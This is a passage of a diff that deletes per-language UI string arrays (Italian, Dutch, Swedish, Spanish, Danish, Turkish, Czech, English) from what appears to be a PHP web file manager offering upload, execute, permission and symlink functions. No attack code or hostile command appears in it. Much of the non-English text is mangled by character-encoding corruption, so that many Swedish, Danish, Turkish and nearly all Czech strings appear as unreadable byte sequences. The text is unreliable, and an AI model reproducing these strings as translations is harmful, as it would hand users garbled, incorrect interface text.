-'not_readable' =&amp;gt; '"[%1]" ne peut pas ??tre ouvert.'
-		);
-
-	case 'it':
-
-		$date_format = 'd-m-Y H:i:s';
-		$word_charset = 'ISO-8859-1';
-
-		return array(
-'directory' =&amp;gt; 'Directory',
-'file' =&amp;gt; 'File',
-'filename' =&amp;gt; 'Nome File',
-
-'size' =&amp;gt; 'Dimensioni',
-'permission' =&amp;gt; 'Permessi',
-'owner' =&amp;gt; 'Proprietario',
-'group' =&amp;gt; 'Gruppo',
-'other' =&amp;gt; 'Altro',
-'functions' =&amp;gt; 'Funzioni',
-
-'read' =&amp;gt; 'leggi',
-'write' =&amp;gt; 'scrivi',
-'execute' =&amp;gt; 'esegui',
-
-'create_symlink' =&amp;gt; 'crea link simbolico',
-'delete' =&amp;gt; 'cancella',
-'rename' =&amp;gt; 'rinomina',
-'move' =&amp;gt; 'sposta',
-'copy' =&amp;gt; 'copia',
-'edit' =&amp;gt; 'modifica',
-'download' =&amp;gt; 'download',
-'upload' =&amp;gt; 'upload',
-'create' =&amp;gt; 'crea',
-'change' =&amp;gt; 'cambia',
-'save' =&amp;gt; 'salva',
-'set' =&amp;gt; 'imposta',
-'reset' =&amp;gt; 'reimposta',
-'relative' =&amp;gt; 'Percorso relativo per la destinazione',
-
-'yes' =&amp;gt; 'Si',
-'no' =&amp;gt; 'No',
-'back' =&amp;gt; 'indietro',
-'destination' =&amp;gt; 'Destinazione',
-'symlink' =&amp;gt; 'Link simbolico',
-'no_output' =&amp;gt; 'no output',
-
-'user' =&amp;gt; 'User',
-'password' =&amp;gt; 'Password',
-'add' =&amp;gt; 'aggiungi',
-'add_basic_auth' =&amp;gt; 'aggiungi autenticazione base',
-
-'uploaded' =&amp;gt; '"[%1]" ?¨ stato caricato.',
-'not_uploaded' =&amp;gt; '"[%1]" non ?¨ stato caricato.',
-'already_exists' =&amp;gt; '"[%1]" esiste gi? .',
-'created' =&amp;gt; '"[%1]" ?¨ stato creato.',
-'not_created' =&amp;gt; '"[%1]" non ?¨ stato creato.',
-'really_delete' =&amp;gt; 'Cancello questi file ?',
-'deleted' =&amp;gt; "Questi file sono stati cancellati:\n[%1]",
-'not_deleted' =&amp;gt; "Questi file non possono essere cancellati:\n[%1]",
-'rename_file' =&amp;gt; 'File rinominato:',
-'renamed' =&amp;gt; '"[%1]" ?¨ stato rinominato in "[%2]".',
-'not_renamed' =&amp;gt; '"[%1] non ?¨ stato rinominato in "[%2]".',
-'move_files' =&amp;gt; 'Sposto questi file:',
-'moved' =&amp;gt; "Questi file sono stati spostati in \"[%2]\":\n[%1]",
-'not_moved' =&amp;gt; "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
-'copy_files' =&amp;gt; 'Copio questi file',
-'copied' =&amp;gt; "Questi file sono stati copiati in \"[%2]\":\n[%1]",
-'not_copied' =&amp;gt; "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
-'not_edited' =&amp;gt; '"[%1]" non puU? essere modificato.',
-'executed' =&amp;gt; "\"[%1]\" ?¨ stato eseguito con successo:\n{%2}",
-'not_executed' =&amp;gt; "\"[%1]\" non ?¨ stato eseguito con successo\n{%2}",
-'saved' =&amp;gt; '"[%1]" ?¨ stato salvato.',
-'not_saved' =&amp;gt; '"[%1]" non ?¨ stato salvato.',
-'symlinked' =&amp;gt; 'Il link siambolico da "[%2]" a "[%1]" ?¨ stato creato.',
-'not_symlinked' =&amp;gt; 'Il link siambolico da "[%2]" a "[%1]" non ?¨ stato creato.',
-'permission_for' =&amp;gt; 'Permessi di "[%1]":',
-'permission_set' =&amp;gt; 'I permessi di "[%1]" sono stati impostati [%2].',
-'permission_not_set' =&amp;gt; 'I permessi di "[%1]" non sono stati impostati [%2].',
-'not_readable' =&amp;gt; '"[%1]" non puU? essere letto.'
-		);
-
-	case 'nl':
-
-		$date_format = 'n/j/y H:i:s';
-		$word_charset = 'ISO-8859-1';
-
-		return array(
-'directory' =&amp;gt; 'Directory',
-'file' =&amp;gt; 'Bestand',
-'filename' =&amp;gt; 'Bestandsnaam',
-
-'size' =&amp;gt; 'Grootte',
-'permission' =&amp;gt; 'Bevoegdheid',
-'owner' =&amp;gt; 'Eigenaar',
-'group' =&amp;gt; 'Groep',
-'other' =&amp;gt; 'Anderen',
-'functions' =&amp;gt; 'Functies',
-
-'read' =&amp;gt; 'lezen',
-'write' =&amp;gt; 'schrijven',
-'execute' =&amp;gt; 'uitvoeren',
-
-'create_symlink' =&amp;gt; 'maak symlink',
-'delete' =&amp;gt; 'verwijderen',
-'rename' =&amp;gt; 'hernoemen',
-'move' =&amp;gt; 'verplaatsen',
-'copy' =&amp;gt; 'kopieren',
-'edit' =&amp;gt; 'bewerken',
-'download' =&amp;gt; 'downloaden',
-'upload' =&amp;gt; 'uploaden',
-'create' =&amp;gt; 'aanmaken',
-'change' =&amp;gt; 'veranderen',
-'save' =&amp;gt; 'opslaan',
-'set' =&amp;gt; 'instellen',
-'reset' =&amp;gt; 'resetten',
-'relative' =&amp;gt; 'Relatief pat naar doel',
-
-'yes' =&amp;gt; 'Ja',
-'no' =&amp;gt; 'Nee',
-'back' =&amp;gt; 'terug',
-'destination' =&amp;gt; 'Bestemming',
-'symlink' =&amp;gt; 'Symlink',
-'no_output' =&amp;gt; 'geen output',
-
-'user' =&amp;gt; 'Gebruiker',
-'password' =&amp;gt; 'Wachtwoord',
-'add' =&amp;gt; 'toevoegen',
-'add_basic_auth' =&amp;gt; 'add basic-authentification',
-
-'uploaded' =&amp;gt; '"[%1]" is verstuurd.',
-'not_uploaded' =&amp;gt; '"[%1]" kan niet worden verstuurd.',
-'already_exists' =&amp;gt; '"[%1]" bestaat al.',
-'created' =&amp;gt; '"[%1]" is aangemaakt.',
-'not_created' =&amp;gt; '"[%1]" kan niet worden aangemaakt.',
-'really_delete' =&amp;gt; 'Deze bestanden verwijderen?',
-'deleted' =&amp;gt; "Deze bestanden zijn verwijderd:\n[%1]",
-'not_deleted' =&amp;gt; "Deze bestanden konden niet worden verwijderd:\n[%1]",
-'rename_file' =&amp;gt; 'Bestandsnaam veranderen:',
-'renamed' =&amp;gt; '"[%1]" heet nu "[%2]".',
-'not_renamed' =&amp;gt; '"[%1] kon niet worden veranderd in "[%2]".',
-'move_files' =&amp;gt; 'Verplaats deze bestanden:',
-'moved' =&amp;gt; "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
-'not_moved' =&amp;gt; "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
-'copy_files' =&amp;gt; 'Kopieer deze bestanden:',
-'copied' =&amp;gt; "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
-'not_copied' =&amp;gt; "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
-'not_edited' =&amp;gt; '"[%1]" kan niet worden bewerkt.',
-'executed' =&amp;gt; "\"[%1]\" is met succes uitgevoerd:\n{%2}",
-'not_executed' =&amp;gt; "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
-'saved' =&amp;gt; '"[%1]" is opgeslagen.',
-'not_saved' =&amp;gt; '"[%1]" is niet opgeslagen.',
-'symlinked' =&amp;gt; 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
-'not_symlinked' =&amp;gt; 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
-'permission_for' =&amp;gt; 'Bevoegdheid voor "[%1]":',
-'permission_set' =&amp;gt; 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
-'permission_not_set' =&amp;gt; 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
-'not_readable' =&amp;gt; '"[%1]" kan niet worden gelezen.'
-		);
-
-	case 'se':
-
-		$date_format = 'n/j/y H:i:s';
-		$word_charset = 'ISO-8859-1';
- 
-		return array(
-'directory' =&amp;gt; 'Mapp',
-'file' =&amp;gt; 'Fil',
-'filename' =&amp;gt; 'Filnamn',
- 
-'size' =&amp;gt; 'Storlek',
-'permission' =&amp;gt; 'SU†kerhetsnivU‡',
-'owner' =&amp;gt; '?¤gare',
-'group' =&amp;gt; 'Grupp',
-'other' =&amp;gt; 'Andra',
-'functions' =&amp;gt; 'Funktioner',
- 
-'read' =&amp;gt; 'LU†s',
-'write' =&amp;gt; 'Skriv',
-'execute' =&amp;gt; 'UtfU?r',
- 
-'create_symlink' =&amp;gt; 'Skapa symlink',
-'delete' =&amp;gt; 'Radera',
-'rename' =&amp;gt; 'Byt namn',
-'move' =&amp;gt; 'Flytta',
-'copy' =&amp;gt; 'Kopiera',
-'edit' =&amp;gt; '?¤ndra',
-'download' =&amp;gt; 'Ladda ner',
-'upload' =&amp;gt; 'Ladda upp',
-'create' =&amp;gt; 'Skapa',
-'change' =&amp;gt; '?¤ndra',
-'save' =&amp;gt; 'Spara',
-'set' =&amp;gt; 'Markera',
-'reset' =&amp;gt; 'TU?m',
-'relative' =&amp;gt; 'Relative path to target',
- 
-'yes' =&amp;gt; 'Ja',
-'no' =&amp;gt; 'Nej',
-'back' =&amp;gt; 'Tillbaks',
-'destination' =&amp;gt; 'Destination',
-'symlink' =&amp;gt; 'Symlink',
-'no_output' =&amp;gt; 'no output',
- 
-'user' =&amp;gt; 'AnvU†ndare',
-'password' =&amp;gt; 'LU?senord',
-'add' =&amp;gt; 'LU†gg till',
-'add_basic_auth' =&amp;gt; 'add basic-authentification',
- 
-'uploaded' =&amp;gt; '"[%1]" har laddats upp.',
-'not_uploaded' =&amp;gt; '"[%1]" kunde inte laddas upp.',
-'already_exists' =&amp;gt; '"[%1]" finns redan.',
-'created' =&amp;gt; '"[%1]" har skapats.',
-'not_created' =&amp;gt; '"[%1]" kunde inte skapas.',
-'really_delete' =&amp;gt; 'Radera dessa filer?',
-'deleted' =&amp;gt; "De hU†r filerna har raderats:\n[%1]",
-'not_deleted' =&amp;gt; "Dessa filer kunde inte raderas:\n[%1]",
-'rename_file' =&amp;gt; 'Byt namn pU‡ fil:',
-'renamed' =&amp;gt; '"[%1]" har bytt namn till "[%2]".',
-'not_renamed' =&amp;gt; '"[%1] kunde inte dU?pas om till "[%2]".',
-'move_files' =&amp;gt; 'Flytta dessa filer:',
-'moved' =&amp;gt; "Dessa filer har flyttats till \"[%2]\":\n[%1]",
-'not_moved' =&amp;gt; "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
-'copy_files' =&amp;gt; 'Kopiera dessa filer:',
-'copied' =&amp;gt; "Dessa filer har kopierats till \"[%2]\":\n[%1]",
-'not_copied' =&amp;gt; "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
-'not_edited' =&amp;gt; '"[%1]" kan inte U†ndras.',
-'executed' =&amp;gt; "\"[%1]\" har utfU?rts:\n{%2}",
-'not_executed' =&amp;gt; "\"[%1]\" kunde inte utfU?ras:\n{%2}",
-'saved' =&amp;gt; '"[%1]" har sparats.',
-'not_saved' =&amp;gt; '"[%1]" kunde inte sparas.',
-'symlinked' =&amp;gt; 'Symlink frU‡n "[%2]" till "[%1]" har skapats.',
-'not_symlinked' =&amp;gt; 'Symlink frU‡n "[%2]" till "[%1]" kunde inte skapas.',
-'permission_for' =&amp;gt; 'RU†ttigheter fU?r "[%1]":',
-'permission_set' =&amp;gt; 'RU†ttigheter fU?r "[%1]" U†ndrades till [%2].',
-'permission_not_set' =&amp;gt; 'Permission of "[%1]" could not be set to [%2].',
-'not_readable' =&amp;gt; '"[%1]" kan inte lU†sas.'
-		);
-
-	case 'sp':
-
-		$date_format = 'j/n/y H:i:s';
-		$word_charset = 'ISO-8859-1';
-
-		return array(
-'directory' =&amp;gt; 'Directorio',
-'file' =&amp;gt; 'Archivo',
-'filename' =&amp;gt; 'Nombre Archivo',
-
-'size' =&amp;gt; 'TamaUŒo',
-'permission' =&amp;gt; 'Permisos',
-'owner' =&amp;gt; 'Propietario',
-'group' =&amp;gt; 'Grupo',
-'other' =&amp;gt; 'Otros',
-'functions' =&amp;gt; 'Funciones',
-
-'read' =&amp;gt; 'lectura',
-'write' =&amp;gt; 'escritura',
-'execute' =&amp;gt; 'ejecuciU?n',
-
-'create_symlink' =&amp;gt; 'crear enlace',
-'delete' =&amp;gt; 'borrar',
-'rename' =&amp;gt; 'renombrar',
-'move' =&amp;gt; 'mover',
-'copy' =&amp;gt; 'copiar',
-'edit' =&amp;gt; 'editar',
-'download' =&amp;gt; 'bajar',
-'upload' =&amp;gt; 'subir',
-'create' =&amp;gt; 'crear',
-'change' =&amp;gt; 'cambiar',
-'save' =&amp;gt; 'salvar',
-'set' =&amp;gt; 'setear',
-'reset' =&amp;gt; 'resetear',
-'relative' =&amp;gt; 'Path relativo',
-
-'yes' =&amp;gt; 'Si',
-'no' =&amp;gt; 'No',
-'back' =&amp;gt; 'atrU„s',
-'destination' =&amp;gt; 'Destino',
-'symlink' =&amp;gt; 'Enlace',
-'no_output' =&amp;gt; 'sin salida',
-
-'user' =&amp;gt; 'Usuario',
-'password' =&amp;gt; 'Clave',
-'add' =&amp;gt; 'agregar',
-'add_basic_auth' =&amp;gt; 'agregar autentificaciU?n bU„sica',
-
-'uploaded' =&amp;gt; '"[%1]" ha sido subido.',
-'not_uploaded' =&amp;gt; '"[%1]" no pudo ser subido.',
-'already_exists' =&amp;gt; '"[%1]" ya existe.',
-'created' =&amp;gt; '"[%1]" ha sido creado.',
-'not_created' =&amp;gt; '"[%1]" no pudo ser creado.',
-'really_delete' =&amp;gt; '??Borra estos archivos?',
-'deleted' =&amp;gt; "Estos archivos han sido borrados:\n[%1]",
-'not_deleted' =&amp;gt; "Estos archivos no pudieron ser borrados:\n[%1]",
-'rename_file' =&amp;gt; 'Renombra archivo:',
-'renamed' =&amp;gt; '"[%1]" ha sido renombrado a "[%2]".',
-'not_renamed' =&amp;gt; '"[%1] no pudo ser renombrado a "[%2]".',
-'move_files' =&amp;gt; 'Mover estos archivos:',
-'moved' =&amp;gt; "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
-'not_moved' =&amp;gt; "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
-'copy_files' =&amp;gt; 'Copiar estos archivos:',
-'copied' =&amp;gt; "Estos archivos han sido copiados a  \"[%2]\":\n[%1]",
-'not_copied' =&amp;gt; "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
-'not_edited' =&amp;gt; '"[%1]" no pudo ser editado.',
-'executed' =&amp;gt; "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
-'not_executed' =&amp;gt; "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
-'saved' =&amp;gt; '"[%1]" ha sido salvado.',
-'not_saved' =&amp;gt; '"[%1]" no pudo ser salvado.',
-'symlinked' =&amp;gt; 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
-'not_symlinked' =&amp;gt; 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
-'permission_for' =&amp;gt; 'Permisos de "[%1]":',
-'permission_set' =&amp;gt; 'Permisos de "[%1]" fueron seteados a [%2].',
-'permission_not_set' =&amp;gt; 'Permisos de "[%1]" no pudo ser seteado a [%2].',
-'not_readable' =&amp;gt; '"[%1]" no pudo ser leU?do.'
-		);
-
-	case 'dk':
-
-		$date_format = 'n/j/y H:i:s';
-		$word_charset = 'ISO-8859-1';
-
-		return array(
-'directory' =&amp;gt; 'Mappe',
-'file' =&amp;gt; 'Fil',
-'filename' =&amp;gt; 'Filnavn',
-
-'size' =&amp;gt; 'StU‘rrelse',
-'permission' =&amp;gt; 'Rettighed',
-'owner' =&amp;gt; 'Ejer',
-'group' =&amp;gt; 'Gruppe',
-'other' =&amp;gt; 'Andre',
-'functions' =&amp;gt; 'Funktioner',
-
-'read' =&amp;gt; 'lUˆs',
-'write' =&amp;gt; 'skriv',
-'execute' =&amp;gt; 'kU‘r',
-
-'create_symlink' =&amp;gt; 'opret symbolsk link',
-'delete' =&amp;gt; 'slet',
-'rename' =&amp;gt; 'omdU‘b',
-'move' =&amp;gt; 'flyt',
-'copy' =&amp;gt; 'kopier',
-'edit' =&amp;gt; 'rediger',
-'download' =&amp;gt; 'download',
-'upload' =&amp;gt; 'upload',
-'create' =&amp;gt; 'opret',
-'change' =&amp;gt; 'skift',
-'save' =&amp;gt; 'gem',
-'set' =&amp;gt; 'sUˆt',
-'reset' =&amp;gt; 'nulstil',
-'relative' =&amp;gt; 'Relativ sti til valg',
-
-'yes' =&amp;gt; 'Ja',
-'no' =&amp;gt; 'Nej',
-'back' =&amp;gt; 'tilbage',
-'destination' =&amp;gt; 'Distination',
-'symlink' =&amp;gt; 'Symbolsk link',
-'no_output' =&amp;gt; 'ingen resultat',
-
-'user' =&amp;gt; 'Bruger',
-'password' =&amp;gt; 'Kodeord',
-'add' =&amp;gt; 'tilfU‘j',
-'add_basic_auth' =&amp;gt; 'tilfU‘j grundliggende rettigheder',
-
-'uploaded' =&amp;gt; '"[%1]" er blevet uploaded.',
-'not_uploaded' =&amp;gt; '"[%1]" kunnu ikke uploades.',
-'already_exists' =&amp;gt; '"[%1]" findes allerede.',
-'created' =&amp;gt; '"[%1]" er blevet oprettet.',
-'not_created' =&amp;gt; '"[%1]" kunne ikke oprettes.',
-'really_delete' =&amp;gt; 'Slet disse filer?',
-'deleted' =&amp;gt; "Disse filer er blevet slettet:\n[%1]",
-'not_deleted' =&amp;gt; "Disse filer kunne ikke slettes:\n[%1]",
-'rename_file' =&amp;gt; 'OmdU‘d fil:',
-'renamed' =&amp;gt; '"[%1]" er blevet omdU‘bt til "[%2]".',
-'not_renamed' =&amp;gt; '"[%1] kunne ikke omdU‘bes til "[%2]".',
-'move_files' =&amp;gt; 'Flyt disse filer:',
-'moved' =&amp;gt; "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
-'not_moved' =&amp;gt; "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
-'copy_files' =&amp;gt; 'Kopier disse filer:',
-'copied' =&amp;gt; "Disse filer er kopieret til \"[%2]\":\n[%1]",
-'not_copied' =&amp;gt; "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
-'not_edited' =&amp;gt; '"[%1]" kan ikke redigeres.',
-'executed' =&amp;gt; "\"[%1]\" er blevet kU‘rt korrekt:\n{%2}",
-'not_executed' =&amp;gt; "\"[%1]\" kan ikke kU‘res korrekt:\n{%2}",
-'saved' =&amp;gt; '"[%1]" er blevet gemt.',
-'not_saved' =&amp;gt; '"[%1]" kunne ikke gemmes.',
-'symlinked' =&amp;gt; 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
-'not_symlinked' =&amp;gt; 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
-'permission_for' =&amp;gt; 'Rettigheder for "[%1]":',
-'permission_set' =&amp;gt; 'Rettigheder for "[%1]" blev sat til [%2].',
-'permission_not_set' =&amp;gt; 'Rettigheder for "[%1]" kunne ikke sUˆttes til [%2].',
-'not_readable' =&amp;gt; '"[%1]" Kan ikke lUˆses.'
-		);
-
-	case 'tr':
-
-		$date_format = 'n/j/y H:i:s';
-		$word_charset = 'ISO-8859-1';
-
-		return array(
-'directory' =&amp;gt; 'KlasU?r',
-'file' =&amp;gt; 'Dosya',
-'filename' =&amp;gt; 'dosya adi',
-
-'size' =&amp;gt; 'boyutu',
-'permission' =&amp;gt; 'Izin',
-'owner' =&amp;gt; 'sahib',
-'group' =&amp;gt; 'Grup',
-'other' =&amp;gt; 'Digerleri',
-'functions' =&amp;gt; 'Fonksiyonlar',
-
-'read' =&amp;gt; 'oku',
-'write' =&amp;gt; 'yaz',
-'execute' =&amp;gt; '?§alistir',
-
-'create_symlink' =&amp;gt; 'yarat symlink',
-'delete' =&amp;gt; 'sil',
-'rename' =&amp;gt; 'ad degistir',
-'move' =&amp;gt; 'tasi',
-'copy' =&amp;gt; 'kopyala',
-'edit' =&amp;gt; 'd?¼zenle',
-'download' =&amp;gt; 'indir',
-'upload' =&amp;gt; 'y?¼kle',
-'create' =&amp;gt; 'create',
-'change' =&amp;gt; 'degistir',
-'save' =&amp;gt; 'kaydet',
-'set' =&amp;gt; 'ayar',
-'reset' =&amp;gt; 'sifirla',
-'relative' =&amp;gt; 'Hedef yola gU?re',
-
-'yes' =&amp;gt; 'Evet',
-'no' =&amp;gt; 'Hayir',
-'back' =&amp;gt; 'Geri',
-'destination' =&amp;gt; 'Hedef',
-'symlink' =&amp;gt; 'Kâ€?sa yol',
-'no_output' =&amp;gt; '?§ikti yok',
-
-'user' =&amp;gt; 'Kullanici',
-'password' =&amp;gt; 'Sifre',
-'add' =&amp;gt; 'ekle',
-'add_basic_auth' =&amp;gt; 'ekle basit-authentification',
-
-'uploaded' =&amp;gt; '"[%1]" y?¼klendi.',
-'not_uploaded' =&amp;gt; '"[%1]" y?¼klenemedi.',
-'already_exists' =&amp;gt; '"[%1]" kullanilmakta.',
-'created' =&amp;gt; '"[%1]" olusturuldu.',
-'not_created' =&amp;gt; '"[%1]" olusturulamadi.',
-'really_delete' =&amp;gt; 'Bu dosyalari silmek istediginizden eminmisiniz?',
-'deleted' =&amp;gt; "Bu dosyalar silindi:\n[%1]",
-'not_deleted' =&amp;gt; "Bu dosyalar silinemedi:\n[%1]",
-'rename_file' =&amp;gt; 'Adi degisen dosya:',
-'renamed' =&amp;gt; '"[%1]" adili dosyanin yeni adi "[%2]".',
-'not_renamed' =&amp;gt; '"[%1] adi degistirilemedi "[%2]" ile.',
-'move_files' =&amp;gt; 'Tasinan dosyalar:',
-'moved' =&amp;gt; "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
-'not_moved' =&amp;gt; "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
-'copy_files' =&amp;gt; 'Kopyalanan dosyalar:',
-'copied' =&amp;gt; "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
-'not_copied' =&amp;gt; "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
-'not_edited' =&amp;gt; '"[%1]" d?¼zenlenemiyor.',
-'executed' =&amp;gt; "\"[%1]\" basariyla ?§alistirildi:\n{%2}",
-'not_executed' =&amp;gt; "\"[%1]\" ?§alistirilamadi:\n{%2}",
-'saved' =&amp;gt; '"[%1]" kaydedildi.',
-'not_saved' =&amp;gt; '"[%1]" kaydedilemedi.',
-'symlinked' =&amp;gt; '"[%2]" den "[%1]" e kâ€?sayol oluâ€?turuldu.',
-'not_symlinked' =&amp;gt; '"[%2]"den "[%1]" e kâ€?sayol oluâ€?turulamadâ€?.',
-'permission_for' =&amp;gt; 'Izinler "[%1]":',
-'permission_set' =&amp;gt; 'Izinler "[%1]" degistirildi [%2].',
-'permission_not_set' =&amp;gt; 'Izinler "[%1]" degistirilemedi [%2].',
-'not_readable' =&amp;gt; '"[%1]" okunamiyor.'
-		);
-
-	case 'cs':
-
-		$date_format = 'd.m.y H:i:s';
-		$word_charset = 'UTF-8';
-
-		return array(
-'directory' =&amp;gt; 'Adres?£?Œ?¥â„¢',
-'file' =&amp;gt; 'Soubor',
-'filename' =&amp;gt; 'Jm?£A©no souboru',
-
-'size' =&amp;gt; 'Velikost',
-'permission' =&amp;gt; 'Pr?£?Œva',
-'owner' =&amp;gt; 'Vlastn?£A­k',
-'group' =&amp;gt; 'Skupina',
-'other' =&amp;gt; 'Ostatn?£A­',
-'functions' =&amp;gt; 'Funkce',
-
-'read' =&amp;gt; '?¤?’ten?£A­',
-'write' =&amp;gt; 'Z?£?Œpis',
-'execute' =&amp;gt; 'Spou?¥?Œt?¤â€?n?£A­',
-
-'create_symlink' =&amp;gt; 'Vytvo?¥â„¢it symbolick?£A½ odkaz',
-'delete' =&amp;gt; 'Smazat',
-'rename' =&amp;gt; 'P?¥â„¢ejmenovat',
-'move' =&amp;gt; 'P?¥â„¢esunout',
-'copy' =&amp;gt; 'Zkop?£A­rovat',
-'edit' =&amp;gt; 'Otev?¥â„¢?£A­t',
-'download' =&amp;gt; 'St?£?Œhnout',
-'upload' =&amp;gt; 'Nahraj na server',
-'create' =&amp;gt; 'Vytvo?¥â„¢it',
-'change' =&amp;gt; 'Zm?¤â€?nit',
-'save' =&amp;gt; 'Ulo?¥A¾it',
-'set' =&amp;gt; 'Nastavit',
-'reset' =&amp;gt; 'zp?¤â€?t',
-'relative' =&amp;gt; 'Relatif',
-
-'yes' =&amp;gt; 'Ano',
-'no' =&amp;gt; 'Ne',
-'back' =&amp;gt; 'Zp?¤â€?t',
-'destination' =&amp;gt; 'Destination',
-'symlink' =&amp;gt; 'Symbolick?£A½ odkaz',
-'no_output' =&amp;gt; 'Pr?£?Œzdn?£A½ v?£A½stup',
-
-'user' =&amp;gt; 'U?¥A¾ivatel',
-'password' =&amp;gt; 'Heslo',
-'add' =&amp;gt; 'P?¥â„¢idat',
-'add_basic_auth' =&amp;gt; 'p?¥â„¢idej z?£?Œkladn?£A­ autentizaci',
-
-'uploaded' =&amp;gt; 'Soubor "[%1]" byl nahr?£?Œn na server.',
-'not_uploaded' =&amp;gt; 'Soubor "[%1]" nebyl nahr?£?Œn na server.',
-'already_exists' =&amp;gt; 'Soubor "[%1]" u?¥A¾ exituje.',
-'created' =&amp;gt; 'Soubor "[%1]" byl vytvo?¥â„¢en.',
-'not_created' =&amp;gt; 'Soubor "[%1]" nemohl b?£A½t  vytvo?¥â„¢en.',
-'really_delete' =&amp;gt; 'Vymazat soubor?',
-'deleted' =&amp;gt; "Byly vymaz?£?Œny tyto soubory:\n[%1]",
-'not_deleted' =&amp;gt; "Tyto soubory nemohly b?£A½t vytvo?¥â„¢eny:\n[%1]",
-'rename_file' =&amp;gt; 'P?¥â„¢ejmenuj soubory:',
-'renamed' =&amp;gt; 'Soubor "[%1]" byl p?¥â„¢ejmenov?£?Œn na "[%2]".',
-'not_renamed' =&amp;gt; 'Soubor "[%1]" nemohl b?£A½t p?¥â„¢ejmenov?£?Œn na "[%2]".',
-'move_files' =&amp;gt; 'P?¥â„¢em?£A­stit tyto soubory:',
-'moved' =&amp;gt; "Tyto soubory byly p?¥â„¢em?£A­st?¤â€?ny do \"[%2]\":\n[%1]",
-'not_moved' =&amp;gt; "Tyto soubory nemohly b?£A½t p?¥â„¢em?£A­st?¤â€?ny do \"[%2]\":\n[%1]",
-'copy_files' =&amp;gt; 'Zkop?£A­rovat tyto soubory:',
-'copied' =&amp;gt; "Tyto soubory byly zkop?£A­rov?£?Œny do \"[%2]\":\n[%1]",
-'not_copied' =&amp;gt; "Tyto soubory nemohly b?£A½t zkop?£A­rov?£?Œny do \"[%2]\":\n[%1]",
-'not_edited' =&amp;gt; 'Soubor "[%1]" nemohl b?£A½t otev?¥â„¢en.',
-'executed' =&amp;gt; "SOubor \"[%1]\" byl spu?¥?Œt?¤â€?n :\n{%2}",
-'not_executed' =&amp;gt; "Soubor \"[%1]\" nemohl b?£A½t spu?¥?Œt?¤â€?n:\n{%2}",
-'saved' =&amp;gt; 'Soubor "[%1]" byl ulo?¥A¾en.',
-'not_saved' =&amp;gt; 'Soubor "[%1]" nemohl b?£A½t ulo?¥A¾en.',
-'symlinked' =&amp;gt; 'Byl vyvo?¥â„¢en symbolick?£A½ odkaz "[%2]" na soubor "[%1]".',
-'not_symlinked' =&amp;gt; 'Symbolick?£A½ odkaz "[%2]" na soubor "[%1]" nemohl b?£A½t vytvo?¥â„¢en.',
-'permission_for' =&amp;gt; 'Pr?£?Œva k "[%1]":',
-'permission_set' =&amp;gt; 'Pr?£?Œva k "[%1]" byla zm?¤â€?n?¤â€?na na [%2].',
-'permission_not_set' =&amp;gt; 'Pr?£?Œva k "[%1]" nemohla b?£A½t zm?¤â€?n?¤â€?na na [%2].',
-'not_readable' =&amp;gt; 'Soubor "[%1]" nen?£A­ mo?¥A¾no p?¥â„¢e?¤?†?£A­st.'
-		);
-
-	case 'en':
-	default:
-
-		$date_format = 'n/j/y H:i:s';
-		$word_charset = 'ISO-8859-1';
-
-		return array(
-'directory' =&amp;gt; 'Directory',
-'file' =&amp;gt; 'File',
-'filename' =&amp;gt; 'Filename',
-
-'size' =&amp;gt; 'Size',
-'permission' =&amp;gt; 'Permission',
-'owner' =&amp;gt; 'Owner',
-'group' =&amp;gt; 'Group',
-'other' =&amp;gt; 'Others',
-'functions' =&amp;gt; 'Functions',
-
-'read' =&amp;gt; 'read',
-'write' =&amp;gt; 'write',
-'execute' =&amp;gt; 'execute',
-
-'create_symlink' =&amp;gt; 'create symlink',
-'delete' =&amp;gt; 'delete',
-'rename' =&amp;gt; 'rename',
-'move' =&amp;gt; 'move',
-'copy' =&amp;gt; 'copy',
-'edit' =&amp;gt; 'edit',
-'download' =&amp;gt; 'download',
-'upload' =&amp;gt; 'upload',
-'create' =&amp;gt; 'create',
-'change' =&amp;gt; 'change',
-'save' =&amp;gt; 'save',
-'set' =&amp;gt; 'set',
-'reset' =&amp;gt; 'reset',
-'relative' =&amp;gt; 'Relative path to target',
-
-'yes' =&amp;gt; 'Yes',
-'no' =&amp;gt; 'No',
-'back' =&amp;gt; 'back',
-'destination' =&amp;gt; 'Destination',
-'symlink' =&amp;gt; 'Symlink',
-'no_output' =&amp;gt; 'no output',
-
-'user' =&amp;gt; 'User',
-'password' =&amp;gt; 'Password',
-'add' =&amp;gt; 'add',
-'add_basic_auth' =&amp;gt; 'add basic-authentification',
-
-'uploaded' =&amp;gt; '"[%1]" has been uploaded.',
-'not_uploaded' =&amp;gt; '"[%1]" could not be uploaded.',
-'already_exists' =&amp;gt; '"[%1]" already exists.',
-'created' =&amp;gt; '"[%1]" has been created.',
-'not_created' =&amp;gt; '"[%1]" could not be created.',
-'really_delete' =&amp;gt; 'Delete these files?',
-'deleted' =&amp;gt; "These files have been deleted:\n[%1]",
-'not_deleted' =&amp;gt; "These files could not be deleted:\n[%1]",
